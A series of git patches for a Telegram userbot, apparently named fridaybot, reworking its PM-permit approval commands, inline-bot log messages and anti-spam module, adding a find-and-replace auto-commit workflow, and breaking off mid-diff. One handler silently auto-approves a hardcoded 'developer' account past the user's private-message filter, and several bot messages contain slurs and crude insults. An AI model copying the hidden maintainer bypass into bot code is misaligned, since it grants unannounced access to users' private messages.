b/fridaybot/modules/fed_ban.py index 4b85afda..a03b4167 100644 --- a/fridaybot/modules/fed_ban.py +++ b/fridaybot/modules/fed_ban.py @@ -1,3 +1,5 @@ +import asyncio + from fridaybot.function import fetch_feds from fridaybot.modules.sql_helper.feds_sql import ( add_fed, @@ -5,7 +7,6 @@ is_fed_indb, rmfed, ) -import asyncio from fridaybot.utils import friday_on_cmd chnnl_grp = Config.FBAN_GROUP @@ -72,7 +73,9 @@ async def _(event): errors = 0 len_feds = len(all_fed) if len_feds == 0: - await event.edit("`No Fed IN DB, Add One To Do So. Please Do .fadd all to Add All Feds IN Database`") + await event.edit( + "`No Fed IN DB, Add One To Do So. Please Do .fadd all to Add All Feds IN Database`" + ) return await event.edit(f"`FBanning in {len_feds} Feds.`") try: From d78d363b57e845db10a6b4ef61e2e6f8ae99347e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 17:38:36 +0530 Subject: [PATCH 640/838] Update heroku_help.py --- fridaybot/modules/heroku_help.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/heroku_help.py b/fridaybot/modules/heroku_help.py index af435006..71fb3584 100644 --- a/fridaybot/modules/heroku_help.py +++ b/fridaybot/modules/heroku_help.py @@ -213,11 +213,11 @@ async def l(event): transfer = app.create_transfer(recipient_id_or_name=hmm) -@friday.on(friday_on_cmd(pattern="kd (.*)")) +@friday.on(friday_on_cmd(pattern="exit$")) async def killdyno(event): app = Heroku.app(Var.HEROKU_APP_NAME) await event.edit("`Dyno Is Off. Manually Turn it On Later`") - app.kill_dyno("bash start.sh") + app.kill_dyno("worker.1") def prettyjson(obj, indent=2, maxlinelength=80): From fd01bd95972320ac21f7bbddb2f60a0cb352f5d7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:05:24 +0530 Subject: [PATCH 641/838] =?UTF-8?q?=F0=9F=94=A5=F0=9F=94=A5=F0=9F=94=A5?= =?UTF-8?q?=F0=9F=94=A5=F0=9F=94=A5=F0=9F=94=A5=F0=9F=94=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fridaybot/modules/pmpermit.py | 131 ++++++++++++++++++++++------------ 1 file changed, 84 insertions(+), 47 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 3a0d2c6c..30812b5a 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -46,54 +46,101 @@ ) if Var.PRIVATE_GROUP_ID is not None: - @borg.on(friday_on_cmd(pattern="(a|approve)")) - async def block(event): + @borg.on(friday_on_cmd(pattern="(a|approve)$")) + async def approve(event): if event.fwd_from: return - replied_user = await borg(GetFullUserRequest(event.chat_id)) - firstname = replied_user.user.first_name - chats = await event.get_chat() if event.is_private: - if not pmpermit_sql.is_approved(chats.id): - if chats.id in PM_WARNS: - del PM_WARNS[chats.id] - if chats.id in PREV_REPLY_MESSAGE: - await PREV_REPLY_MESSAGE[chats.id].delete() - del PREV_REPLY_MESSAGE[chats.id] - pmpermit_sql.approve(chats.id, "Approved Another Nibba") + replied_user = await borg(GetFullUserRequest(event.chat_id)) + firstname = replied_user.user.first_name + if not pmpermit_sql.is_approved(event.chat_id): + if event.chat_id in PM_WARNS: + del PM_WARNS[event.chat_id] + if event.chat_id in PREV_REPLY_MESSAGE: + await PREV_REPLY_MESSAGE[event.chat_id].delete() + del PREV_REPLY_MESSAGE[event.chat_id] + pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to PM [{}](tg://user?id={})".format(firstname, chats.id) + "Approved to PM [{}](tg://user?id={})".format(firstname, event.chat_id) ) await asyncio.sleep(3) await event.delete() + elif pmpermit_sql.is_approved(event.chat_id): + sed = await event.edit('`This User Already Approved.`') + await asyncio.sleep(3) + await sed.delete() + elif event.is_group: + reply_s = await event.get_reply_message() + if not reply_s: + await event.edit('`Reply To User To Approve Him !`') + return + if not pmpermit_sql.is_approved(reply_s.sender_id): + replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) + firstname = replied_user.user.first_name + pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") + await event.edit( + "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + ) + await asyncio.sleep(3) + await event.delete() + elif pmpermit_sql.is_approved(reply_s.sender_id): + await event.edit('`User Already Approved !`') + await event.delete() @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return - replied_user = await event.client(GetFullUserRequest(event.chat_id)) + replied_user = await borg(GetFullUserRequest(event.chat_id)) firstname = replied_user.user.first_name chat = await event.get_chat() if event.is_private: - if pmpermit_sql.is_approved(chat.id): - pmpermit_sql.disapprove(chat.id) - await event.edit("Blocked [{}](tg://user?id={})".format(firstname, chat.id)) - await event.client(functions.contacts.BlockRequest(chat.id)) + if pmpermit_sql.is_approved(event.chat_id): + pmpermit_sql.disapprove(event.chat_id) + await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) + await event.client(functions.contacts.BlockRequest(event.chat_id)) - @borg.on(friday_on_cmd(pattern="(da|disapprove)")) - async def approve_p_m(event): + @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) + async def dapprove(event): if event.fwd_from: return - replied_user = await event.client(GetFullUserRequest(event.chat_id)) - firstname = replied_user.user.first_name - chat = await event.get_chat() + if event.is_private: - if pmpermit_sql.is_approved(chat.id): - pmpermit_sql.disapprove(chat.id) + replied_user = await borg(GetFullUserRequest(event.chat_id)) + firstname = replied_user.user.first_name + if pmpermit_sql.is_approved(event.chat_id): + pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, chat.id) + "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) ) + await asyncio.sleep(3) await event.delete() + elif not pmpermit_sql.is_approved(event.chat_id): + led = await event.edit("`This User Is Not Even Approved To Disapprove !`") + await asyncio.sleep(3) + await led.delete() + elif event.is_group: + reply_s = await event.get_reply_message() + if not reply_s: + await event.edit('`Reply To User To DisApprove Him !`') + return + if pmpermit_sql.is_approved(reply_s.sender_id): + replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) + firstname = replied_user.user.first_name + pmpermit_sql.disapprove(reply_s.sender_id) + await event.edit( + "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + ) + await asyncio.sleep(3) + await event.delete() + elif not pmpermit_sql.is_approved(reply_s.sender_id): + await event.edit('`User Even Not Approved !`') + await event.delete() + + + + + @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): @@ -132,35 +179,30 @@ async def on_new_private_message(event): return if Var.PRIVATE_GROUP_ID is None: + await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") return if not event.is_private: return - - message_text = event.message.message + message_text = event.message.raw_text chat_ids = event.sender_id - message_text.lower() + if USER_BOT_NO_WARN == message_text: - # fridaybot's should not reply to other fridaybot's - # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots return - sender = await bot.get_entity(event.sender_id) + sender = await bot(GetFullUserRequest(event.sender_id)) if chat_ids == bot.uid: # don't log Saved Messages return - if sender.bot: - # don't log bots + if sender.user.bot: return - if sender.verified: - # don't log verified accounts + if sender.user.verified: return if PM_ON_OFF == "DISABLE": return if pmpermit_sql.is_approved(chat_ids): return if not pmpermit_sql.is_approved(chat_ids): - # pm permit await do_pm_permit_action(chat_ids, event) async def do_pm_permit_action(chat_ids, event): @@ -179,13 +221,10 @@ async def do_pm_permit_action(chat_ids, event): the_message += f"Message Counts: {PM_WARNS[chat_ids]}\n" # the_message += f"Media: {message_media}" try: - await event.client.send_message( + await borg.send_message( entity=Var.PRIVATE_GROUP_ID, message=the_message, - # reply_to=, - # parse_mode="html", link_preview=False, - # file=message_media, silent=True, ) return @@ -202,12 +241,10 @@ async def do_pm_permit_action(chat_ids, event): @bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) async def hehehe(event): - if event.fwd_from: - return - chats = await event.get_chat() + chat = event.chat_id if event.is_private: - if not pmpermit_sql.is_approved(chats.id): - pmpermit_sql.approve(chats.id, "**My Boss Is Best🔥**") + if not pmpermit_sql.is_approved(event.chat_id): + pmpermit_sql.approve(event.chat_id, "**Dev**") await borg.send_message( - chats, "**User Detected As Developer. So Approved**" + event.chat_id, "**🔥 User Detected As Developer. So Approved Automatically 🔥**" ) From a80cc970eb3b040f27232fdba86bb1f6411a9434 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 12:38:07 +0000 Subject: [PATCH 642/838] pylint: auto fixes --- fridaybot/modules/pmpermit.py | 61 ++++++++++++++++++++--------------- 1 file changed, 35 insertions(+), 26 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 30812b5a..80926db1 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -61,31 +61,35 @@ async def approve(event): del PREV_REPLY_MESSAGE[event.chat_id] pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to PM [{}](tg://user?id={})".format(firstname, event.chat_id) + "Approved to PM [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(event.chat_id): - sed = await event.edit('`This User Already Approved.`') + sed = await event.edit("`This User Already Approved.`") await asyncio.sleep(3) - await sed.delete() + await sed.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To Approve Him !`') + await event.edit("`Reply To User To Approve Him !`") return if not pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Approved to pm [{}](tg://user?id={})".format( + firstname, reply_s.sender_id ) + ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Already Approved !`') - await event.delete() + await event.edit("`User Already Approved !`") + await event.delete() @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): @@ -93,54 +97,57 @@ async def approve_p_m(event): return replied_user = await borg(GetFullUserRequest(event.chat_id)) firstname = replied_user.user.first_name - chat = await event.get_chat() + await event.get_chat() if event.is_private: if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) - await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) + await event.edit( + "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) + ) await event.client(functions.contacts.BlockRequest(event.chat_id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) async def dapprove(event): if event.fwd_from: return - + if event.is_private: replied_user = await borg(GetFullUserRequest(event.chat_id)) firstname = replied_user.user.first_name if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) - await asyncio.sleep(3) + await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(event.chat_id): - led = await event.edit("`This User Is Not Even Approved To Disapprove !`") + led = await event.edit( + "`This User Is Not Even Approved To Disapprove !`" + ) await asyncio.sleep(3) await led.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To DisApprove Him !`') + await event.edit("`Reply To User To DisApprove Him !`") return if pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await borg(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.disapprove(reply_s.sender_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, reply_s.sender_id + ) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Even Not Approved !`') - await event.delete() - - - - - + await event.edit("`User Even Not Approved !`") + await event.delete() @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): @@ -179,7 +186,9 @@ async def on_new_private_message(event): return if Var.PRIVATE_GROUP_ID is None: - await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") + await borg.send_message( + bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" + ) return if not event.is_private: @@ -187,7 +196,6 @@ async def on_new_private_message(event): message_text = event.message.raw_text chat_ids = event.sender_id - if USER_BOT_NO_WARN == message_text: return sender = await bot(GetFullUserRequest(event.sender_id)) @@ -241,10 +249,11 @@ async def do_pm_permit_action(chat_ids, event): @bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) async def hehehe(event): - chat = event.chat_id + event.chat_id if event.is_private: if not pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.approve(event.chat_id, "**Dev**") await borg.send_message( - event.chat_id, "**🔥 User Detected As Developer. So Approved Automatically 🔥**" + event.chat_id, + "**🔥 User Detected As Developer. So Approved Automatically 🔥**", ) From c31ee9254bb049eceabe2c7ced14e6cdfc30f2d7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:15:59 +0530 Subject: [PATCH 643/838] Done Right --- fridaybot/modules/_inlinebot.py | 36 +++++++++++++-------------------- 1 file changed, 14 insertions(+), 22 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 03721c44..ad8f47a7 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -186,9 +186,9 @@ async def rip(event): await event.edit("ඔයා තෝරපු එක පිළිගන්න බෑ ❌") await borg.send_message(event.query.user_id, text1) await borg(functions.contacts.BlockRequest(event.query.user_id)) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", + f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා" ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) @@ -215,16 +215,14 @@ async def rip(event): await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") text2 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." await borg.send_message(event.query.user_id, text2) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) + message=f"Hello, [අලුත් පොරක්](tg://user?id={him_id}). ඔයා එක්ක කතා කරන්න ඉල්ලනවා.") @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): if event.query.user_id == bot.uid: - sedok = "Master, You Don't Need To Use This." + sedok = "මහත්තයෝ, ඔයා මේක පාවිච්චි කරන්න ඕන නෑ" await event.answer(sedok, cache_time=0, alert=True) return await event.get_chat() @@ -232,11 +230,9 @@ async def rip(event): await event.edit("ඔයා තෝරපු එක මම පිළිගන්නවා ✔️") text3 = "හරි දැන් මගේ අයිතිකාරයා ඔයාට මැසේජ් එකක් දානකන් ටිකක් ඉවසල ඉන්න. \nගොඩාක් ස්තූතී මැසේජ් කරාට." await borg.send_message(event.query.user_id, text3) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) + message=f"Hello, [අලුත් පොරකට](tg://user?id={him_id}). ඔයාගෙන් දෙයක් ඉල්ලන්න තියේලු.") @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): @@ -453,9 +449,9 @@ async def rip(event): await event.edit("Choice Not Accepted ❌") await borg.send_message(event.query.user_id, text1) await borg(functions.contacts.BlockRequest(event.query.user_id)) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked.", + f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked." ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) @@ -480,13 +476,11 @@ async def rip(event): await event.get_chat() him_id = event.query.user_id await event.edit("Your Choice Accepted ✔️") - text2 = "Ok. Please Wait Until My Master will Approve you soon. Don't Spam Or Try Anything Stupid. \nThank You For Contacting Me." + text2 = "Ok. Please Wait Until My Master will Approve you soon. Don't Spam Here Or Try Anything Stupid. \nThank You For Contacting Me." await borg.send_message(event.query.user_id, text2) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.") @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): @@ -499,11 +493,9 @@ async def rip(event): await event.edit("CYour hoice is Accepted ✔️") text3 = "Ok, Wait. My Master will reply you soon. Kindly, Wait." await borg.send_message(event.query.user_id, text3) - await tgbot.send_message( + await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", - buttons=[Button.url("Contact Him", f"tg://user?id={him_id}")], - ) + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.") @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): From 451af36fb70cc2e53d7161f022baf51c1b643e80 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 12:46:51 +0000 Subject: [PATCH 644/838] pylint: auto fixes --- fridaybot/modules/_inlinebot.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index ad8f47a7..75784f80 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -188,7 +188,7 @@ async def rip(event): await borg(functions.contacts.BlockRequest(event.query.user_id)) await borg.send_message( LOG_CHAT, - f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා" + f"ආයුබෝවන්, මෝඩ [පකයා](tg://user?id={him_id}) තහන්ම් එකක් තෝරපු නිසා Block කරා", ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) @@ -217,7 +217,8 @@ async def rip(event): await borg.send_message(event.query.user_id, text2) await borg.send_message( LOG_CHAT, - message=f"Hello, [අලුත් පොරක්](tg://user?id={him_id}). ඔයා එක්ක කතා කරන්න ඉල්ලනවා.") + message=f"Hello, [අලුත් පොරක්](tg://user?id={him_id}). ඔයා එක්ක කතා කරන්න ඉල්ලනවා.", + ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): @@ -232,7 +233,8 @@ async def rip(event): await borg.send_message(event.query.user_id, text3) await borg.send_message( LOG_CHAT, - message=f"Hello, [අලුත් පොරකට](tg://user?id={him_id}). ඔයාගෙන් දෙයක් ඉල්ලන්න තියේලු.") + message=f"Hello, [අලුත් පොරකට](tg://user?id={him_id}). ඔයාගෙන් දෙයක් ඉල්ලන්න තියේලු.", + ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): @@ -451,7 +453,7 @@ async def rip(event): await borg(functions.contacts.BlockRequest(event.query.user_id)) await borg.send_message( LOG_CHAT, - f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked." + f"Hello, A Noob [Nibba](tg://user?id={him_id}) Selected Probhited Option, Therefore Blocked.", ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"backme"))) @@ -480,7 +482,8 @@ async def rip(event): await borg.send_message(event.query.user_id, text2) await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.") + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Talk With You.", + ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"askme"))) async def rip(event): @@ -495,7 +498,8 @@ async def rip(event): await borg.send_message(event.query.user_id, text3) await borg.send_message( LOG_CHAT, - message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.") + message=f"Hello, A [New User](tg://user?id={him_id}). Wants To Ask You Something.", + ) @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): From 200736592df7a7c169e07345dbdc2a2c41485a71 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:17:08 +0530 Subject: [PATCH 645/838] Hmm --- fridaybot/modules/antispam.py | 33 +++++---------------------------- 1 file changed, 5 insertions(+), 28 deletions(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 65cf9e09..df3f1067 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -1,8 +1,10 @@ from telethon.events import ChatAction - +from telethon import events +from telethon.tl.functions.users import GetFullUserRequest from fridaybot import bot, sclient from fridaybot.Configs import Config + """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" @@ -12,6 +14,8 @@ async def ok(event): juser = await event.get_user() if Config.ANTISPAM_FEATURE != "ENABLE": return + if sclient is None: + return if event.user_joined: hmmyep = await borg.get_permissions(event.chat_id, bot.uid) if not hmmyep.is_admin: @@ -29,30 +33,3 @@ async def ok(event): pass else: pass - - -@borg.on(ChatAction) -async def dnamg(event): - okbruh = await borg.get_me() - if event.user_added == okbruh.id: - event.chat_id - lolll = await event.get_added_by() - added_bys = lolll.id - lolchat = await event.get_chat() - if lolchat.username: - is_pvt = False - lmao_info = lolchat.username - else: - is_pvt = True - lmao_info = lolchat.id - try: - await event.reply( - "**Wait, How Dare You Add Me To This Group, Without My Permission, Never Mind You Are Gonna Get Reported Lol !**" - ) - except: - pass - await borg.kick_participant(event.chat_id, okbruh.id) - await borg.send_message( - Config.PRIVATE_GROUP_ID, - f"**WARNING - SPAM ADDING** \nUSER : `{added_bys}` \nCHAT : `{lmao_info}` \nGROUP PRIVATE : `{is_pvt}` \n**You May Report This At @SpamWatch Or @NospamPlusChat.**", - ) From d1b138c2a0d5d87ff62121c1a1eb9909135eb027 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:18:48 +0530 Subject: [PATCH 646/838] 122544887 --- fridaybot/modules/information.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/information.py b/fridaybot/modules/information.py index 7510d78b..f8fcfd66 100644 --- a/fridaybot/modules/information.py +++ b/fridaybot/modules/information.py @@ -80,14 +80,14 @@ async def get_full_user(event): if previous_message.forward: replied_user = await event.client( GetFullUserRequest( - previous_message.forward.from_id + previous_message.forward.sender_id or previous_message.forward.channel_id ) ) return replied_user, None else: replied_user = await event.client( - GetFullUserRequest(previous_message.from_id) + GetFullUserRequest(previous_message.sender_id) ) return replied_user, None else: @@ -152,12 +152,15 @@ async def gibinfo(event): reason = f"True" else: reason = f"False" - hmmyes = sclient.is_banned(lolu.user.id) - if hmmyes: - oki = f"""True + if sclient is None: + oki = "Token Invalid" + elif sclient: + hmmyes = sclient.is_banned(lolu.user.id) + if hmmyes: + oki = f"""True ~ Reason : {hmmyes.reason}""" - else: - oki = "False" + else: + oki = "False" infomsg = ( f"Info Of {lolu.user.first_name}: \n" f"- Username : {lolu.user.username}\n" From ed76c86a552160131a92fc6f71e8cc6b3f749bc1 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 12:50:01 +0000 Subject: [PATCH 647/838] pylint: auto fixes --- fridaybot/modules/antispam.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index df3f1067..d50fa8a0 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -1,10 +1,8 @@ from telethon.events import ChatAction -from telethon import events -from telethon.tl.functions.users import GetFullUserRequest + from fridaybot import bot, sclient from fridaybot.Configs import Config - """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" From 8e105924072b7052465bb3aaad415454324a40bf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 18:20:54 +0530 Subject: [PATCH 648/838] Create sed.yml --- .github/workflows/sed.yml | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 .github/workflows/sed.yml diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml new file mode 100644 index 00000000..5554ec56 --- /dev/null +++ b/.github/workflows/sed.yml @@ -0,0 +1,21 @@ +name: Sed-replacer +on: push +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Find and Replace + uses: jacobtomlinson/gha-find-replace@master + with: + find: "from_id" + replace: "sender_id" + - name: Pull All Updates + uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: 'SeD Replacer' + commit_options: '--no-verify' + repository: . + commit_user_name: InukaAsith + commit_user_email: inukaasith7@gmail.com + commit_author: inukaasith From 9dc036c75a047a8f5e642137ecd259c04743f62e Mon Sep 17 00:00:00 2001 From: inukaasith Date: Tue, 19 Jan 2021 12:51:16 +0000 Subject: [PATCH 649/838] SeD Replacer --- fridaybot/modules/admin.py | 6 +++--- fridaybot/modules/antiflood.py | 8 ++++---- fridaybot/modules/assistant/adminbot.py | 6 +++--- fridaybot/modules/clone.py | 4 ++-- fridaybot/modules/delfp.py | 2 +- fridaybot/modules/echo.py | 4 ++-- fridaybot/modules/get_id.py | 4 ++-- fridaybot/modules/gtools.py | 4 ++-- fridaybot/modules/hack.py | 2 +- fridaybot/modules/locks.py | 2 +- fridaybot/modules/memes.py | 2 +- fridaybot/modules/mention | 4 ++-- fridaybot/modules/mention.py | 4 ++-- fridaybot/modules/ninja.py | 2 +- fridaybot/modules/slap.py | 2 +- fridaybot/modules/stickerchat.py | 8 ++++---- fridaybot/modules/telegraph.py | 2 +- fridaybot/modules/userinfo.py | 4 ++-- fridaybot/modules/warns.py | 4 ++-- fridaybot/modules/whois.py | 8 ++++---- 20 files changed, 41 insertions(+), 41 deletions(-) diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index 3e53e005..3070091e 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -503,7 +503,7 @@ async def pin(msg): await msg.edit( f"I Have Pinned This [Message](http://t.me/c/{msg.chat_id}/{to_pin})" ) - user = await get_user_from_id(msg.from_id, msg) + user = await get_user_sender_id(msg.sender_id, msg) if BOTLOG: await msg.client.send_message( @@ -666,7 +666,7 @@ async def get_user_from_event(event): extra = None if event.reply_to_msg_id: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif args: user = args[0] @@ -696,7 +696,7 @@ async def get_user_from_event(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py index 79d93ee3..810875a2 100644 --- a/fridaybot/modules/antiflood.py +++ b/fridaybot/modules/antiflood.py @@ -23,13 +23,13 @@ async def _(event): if not (str(event.chat_id) in CHAT_FLOOD): return # TODO: exempt admins from this - should_ban = sql.update_flood(event.chat_id, event.message.from_id) + should_ban = sql.update_flood(event.chat_id, event.message.sender_id) if not should_ban: return try: await event.client( EditBannedRequest( - event.chat_id, event.message.from_id, ANTI_FLOOD_WARN_MODE + event.chat_id, event.message.sender_id, ANTI_FLOOD_WARN_MODE ) ) except Exception as e: # pylint:disable=C0103,W0703 @@ -38,7 +38,7 @@ async def _(event): message="""**Automatic AntiFlooder** @admin [User](tg://user?id={}) is flooding this chat. `{}`""".format( - event.message.from_id, str(e) + event.message.sender_id, str(e) ), reply_to=event.message.id, ) @@ -53,7 +53,7 @@ async def _(event): message="""**Automatic AntiFlooder** [User](tg://user?id={}) has been automatically restricted because he reached the defined flood limit.""".format( - event.message.from_id + event.message.sender_id ), reply_to=event.message.id, ) diff --git a/fridaybot/modules/assistant/adminbot.py b/fridaybot/modules/assistant/adminbot.py index f494ac45..ecbdb414 100644 --- a/fridaybot/modules/assistant/adminbot.py +++ b/fridaybot/modules/assistant/adminbot.py @@ -211,7 +211,7 @@ async def pin(event): ) return await event.reply("Pinned This Message Sucessfully.") - await get_user_from_id(event.from_id, event) + await get_user_sender_id(event.sender_id, event) @assistant_cmd("kick", is_args=True) @@ -309,7 +309,7 @@ async def get_user_from_event(event): extra = None if event.reply_to_msg_id: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif args: user = args[0] @@ -339,7 +339,7 @@ async def 